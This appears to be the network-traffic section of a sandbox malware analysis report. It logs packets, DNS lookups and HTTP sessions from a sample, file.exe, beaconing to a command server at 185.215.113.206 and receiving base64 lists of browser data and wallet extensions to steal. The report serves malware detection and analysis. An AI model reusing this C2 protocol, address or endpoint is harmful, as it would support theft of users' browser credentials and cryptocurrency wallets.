Dec 7, 2024 00:15:53.008842945 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:53.009557962 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:53.009680033 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:53.009684086 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:53.010027885 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:53.010560989 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:53.010643005 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:53.010674953 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:53.010745049 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:53.011599064 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:53.011694908 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:53.011707067 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:53.011776924 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:53.012541056 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:53.012640953 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:53.012667894 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:53.012772083 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:53.013545990 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:53.013634920 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:53.013639927 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:53.013798952 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:53.014522076 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:53.014635086 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:53.014658928 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:53.014884949 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:53.015680075 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:53.015770912 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:53.015933037 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:53.016535044 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:53.016640902 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:53.016658068 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:53.016690969 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:53.017504930 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:53.017601967 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:53.017632961 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:53.017694950 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:53.034864902 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:53.034885883 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:53.035094976 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:53.035104036 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:53.035310030 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:53.041915894 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:53.041934013 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:53.042032003 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:53.042047977 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:53.042273998 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:53.049560070 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:53.049633980 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:53.049666882 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:53.049685001 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:53.049709082 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:53.049871922 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:53.056308985 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:53.056325912 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:53.056462049 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:53.056472063 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:53.056556940 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:53.063930988 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:53.063973904 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:53.064007998 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:53.064013958 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:53.064040899 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:53.064116955 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:53.071329117 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:53.071346998 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:53.071432114 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:53.071438074 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:53.071506023 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:53.078874111 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:53.078891039 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:53.078967094 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:53.078973055 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:53.079034090 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:53.086656094 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:53.086672068 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:53.086770058 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:53.086776018 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:53.086884022 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:53.101313114 CET	443	49850	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:53.101866961 CET	49850	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:53.101886034 CET	443	49850	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:53.102390051 CET	49850	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:53.102399111 CET	443	49850	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:53.103594065 CET	443	49851	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:53.104104996 CET	443	49852	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:53.104144096 CET	49851	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:53.104161978 CET	443	49851	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:53.104336023 CET	49851	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:53.104341984 CET	443	49851	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:53.104607105 CET	49852	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:53.104619026 CET	443	49852	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:53.104892015 CET	49852	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:53.104897022 CET	443	49852	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:53.138696909 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:53.138720036 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:53.138802052 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:53.138838053 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:53.138854980 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:53.138920069 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:53.144478083 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:53.144495964 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:53.144543886 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:53.144551039 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:53.144587994 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:53.144663095 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:53.149688959 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:53.149705887 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:53.149774075 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:53.149782896 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:53.149872065 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:53.155653954 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:53.155669928 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:53.155817986 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:53.155827045 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:53.156322002 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:53.158333063 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:53.158401012 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:53.158493996 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:53.158574104 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:53.158700943 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:53.158839941 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:53.158873081 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:53.158927917 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:53.159693003 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:53.159765005 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:53.159841061 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:53.159977913 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:53.160691977 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:53.160809994 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:53.160886049 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:53.160936117 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:53.161300898 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:53.161318064 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:53.161396027 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:53.161405087 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:53.161499023 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:53.161684036 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:53.161782980 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:53.161815882 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:53.161870003 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:53.162674904 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:53.162802935 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:53.162806034 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:53.162935972 CET	49823	80	192.168.2.6	185.215.113.206

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 7, 2024 00:15:22.364892960 CET	192.168.2.6	1.1.1.1	0xef6b	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 7, 2024 00:15:22.365874052 CET	192.168.2.6	1.1.1.1	0xd406	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 7, 2024 00:15:29.098354101 CET	192.168.2.6	1.1.1.1	0xbc35	Standard query (0)	ogs.google.com	A (IP address)	IN (0x0001)	false
Dec 7, 2024 00:15:29.098505020 CET	192.168.2.6	1.1.1.1	0xc339	Standard query (0)	ogs.google.com	65	IN (0x0001)	false
Dec 7, 2024 00:15:29.116210938 CET	192.168.2.6	1.1.1.1	0xd1e2	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Dec 7, 2024 00:15:29.116360903 CET	192.168.2.6	1.1.1.1	0xe4ce	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Dec 7, 2024 00:15:30.092801094 CET	192.168.2.6	1.1.1.1	0xff42	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Dec 7, 2024 00:15:30.093065977 CET	192.168.2.6	1.1.1.1	0x184d	Standard query (0)	play.google.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 7, 2024 00:15:05.780591965 CET	1.1.1.1	192.168.2.6	0x5d87	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 7, 2024 00:15:05.780591965 CET	1.1.1.1	192.168.2.6	0x5d87	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Dec 7, 2024 00:15:22.501877069 CET	1.1.1.1	192.168.2.6	0xef6b	No error (0)	www.google.com		142.250.181.100	A (IP address)	IN (0x0001)	false
Dec 7, 2024 00:15:22.502662897 CET	1.1.1.1	192.168.2.6	0xd406	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 7, 2024 00:15:29.238046885 CET	1.1.1.1	192.168.2.6	0xbc35	No error (0)	ogs.google.com	www3.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 7, 2024 00:15:29.238046885 CET	1.1.1.1	192.168.2.6	0xbc35	No error (0)	www3.l.google.com		172.217.19.206	A (IP address)	IN (0x0001)	false
Dec 7, 2024 00:15:29.238122940 CET	1.1.1.1	192.168.2.6	0xc339	No error (0)	ogs.google.com	www3.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 7, 2024 00:15:29.255523920 CET	1.1.1.1	192.168.2.6	0xd1e2	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 7, 2024 00:15:29.255523920 CET	1.1.1.1	192.168.2.6	0xd1e2	No error (0)	plus.l.google.com		172.217.17.78	A (IP address)	IN (0x0001)	false
Dec 7, 2024 00:15:29.258913994 CET	1.1.1.1	192.168.2.6	0xe4ce	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 7, 2024 00:15:30.233335018 CET	1.1.1.1	192.168.2.6	0xff42	No error (0)	play.google.com		172.217.19.206	A (IP address)	IN (0x0001)	false
Dec 7, 2024 00:16:14.527774096 CET	1.1.1.1	192.168.2.6	0x29ad	No error (0)	g-bing-com.ax-0001.ax-msedge.net	ax-0001.ax-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 7, 2024 00:16:14.527774096 CET	1.1.1.1	192.168.2.6	0x29ad	No error (0)	ax-0001.ax-msedge.net		150.171.27.10	A (IP address)	IN (0x0001)	false
Dec 7, 2024 00:16:14.527774096 CET	1.1.1.1	192.168.2.6	0x29ad	No error (0)	ax-0001.ax-msedge.net		150.171.28.10	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49715	185.215.113.206	80	7324	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 7, 2024 00:15:12.136842012 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Dec 7, 2024 00:15:15.275589943 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:15 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 7, 2024 00:15:15.284545898 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFCFHDHIIIECBGCAKFIJ Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 43 46 48 44 48 49 49 49 45 43 42 47 43 41 4b 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 45 34 42 44 31 39 44 38 33 36 45 32 33 37 31 35 34 33 35 31 30 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 46 48 44 48 49 49 49 45 43 42 47 43 41 4b 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 72 75 6d 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 46 48 44 48 49 49 49 45 43 42 47 43 41 4b 46 49 4a 2d 2d 0d 0a Data Ascii: ------AFCFHDHIIIECBGCAKFIJContent-Disposition: form-data; name="hwid"4E4BD19D836E2371543510------AFCFHDHIIIECBGCAKFIJContent-Disposition: form-data; name="build"drum------AFCFHDHIIIECBGCAKFIJ--
Dec 7, 2024 00:15:15.772439003 CET	407	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:15 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4f 44 49 33 4e 32 51 32 5a 47 55 79 5a 54 6c 6d 4d 54 51 33 59 7a 45 77 4e 54 55 77 4e 44 67 32 59 57 4e 6a 4d 47 4a 69 4d 32 52 6c 4f 47 52 69 4f 44 4e 6a 59 7a 45 31 59 6a 45 78 59 7a 4a 6d 5a 57 4d 77 5a 54 46 6a 5a 6a 63 30 5a 54 67 33 4d 7a 56 6c 59 7a 6b 31 4e 7a 6b 31 5a 44 49 32 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: ODI3N2Q2ZGUyZTlmMTQ3YzEwNTUwNDg2YWNjMGJiM2RlOGRiODNjYzE1YjExYzJmZWMwZTFjZjc0ZTg3MzVlYzk1Nzk1ZDI2fHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Dec 7, 2024 00:15:15.774044037 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AECAKJJECAEGCBGDHDHC Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 45 43 41 4b 4a 4a 45 43 41 45 47 43 42 47 44 48 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 32 37 37 64 36 64 65 32 65 39 66 31 34 37 63 31 30 35 35 30 34 38 36 61 63 63 30 62 62 33 64 65 38 64 62 38 33 63 63 31 35 62 31 31 63 32 66 65 63 30 65 31 63 66 37 34 65 38 37 33 35 65 63 39 35 37 39 35 64 32 36 0d 0a 2d 2d 2d 2d 2d 2d 41 45 43 41 4b 4a 4a 45 43 41 45 47 43 42 47 44 48 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 41 45 43 41 4b 4a 4a 45 43 41 45 47 43 42 47 44 48 44 48 43 2d 2d 0d 0a Data Ascii: ------AECAKJJECAEGCBGDHDHCContent-Disposition: form-data; name="token"8277d6de2e9f147c10550486acc0bb3de8db83cc15b11c2fec0e1cf74e8735ec95795d26------AECAKJJECAEGCBGDHDHCContent-Disposition: form-data; name="message"browsers------AECAKJJECAEGCBGDHDHC--
Dec 7, 2024 00:15:16.214767933 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:15 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Dec 7, 2024 00:15:16.214787960 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Dec 7, 2024 00:15:16.217775106 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGHJJDGHCBGDHIECBGID Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 47 48 4a 4a 44 47 48 43 42 47 44 48 49 45 43 42 47 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 32 37 37 64 36 64 65 32 65 39 66 31 34 37 63 31 30 35 35 30 34 38 36 61 63 63 30 62 62 33 64 65 38 64 62 38 33 63 63 31 35 62 31 31 63 32 66 65 63 30 65 31 63 66 37 34 65 38 37 33 35 65 63 39 35 37 39 35 64 32 36 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 4a 4a 44 47 48 43 42 47 44 48 49 45 43 42 47 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 4a 4a 44 47 48 43 42 47 44 48 49 45 43 42 47 49 44 2d 2d 0d 0a Data Ascii: ------BGHJJDGHCBGDHIECBGIDContent-Disposition: form-data; name="token"8277d6de2e9f147c10550486acc0bb3de8db83cc15b11c2fec0e1cf74e8735ec95795d26------BGHJJDGHCBGDHIECBGIDContent-Disposition: form-data; name="message"plugins------BGHJJDGHCBGDHIECBGID--
Dec 7, 2024 00:15:16.659116983 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:16 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 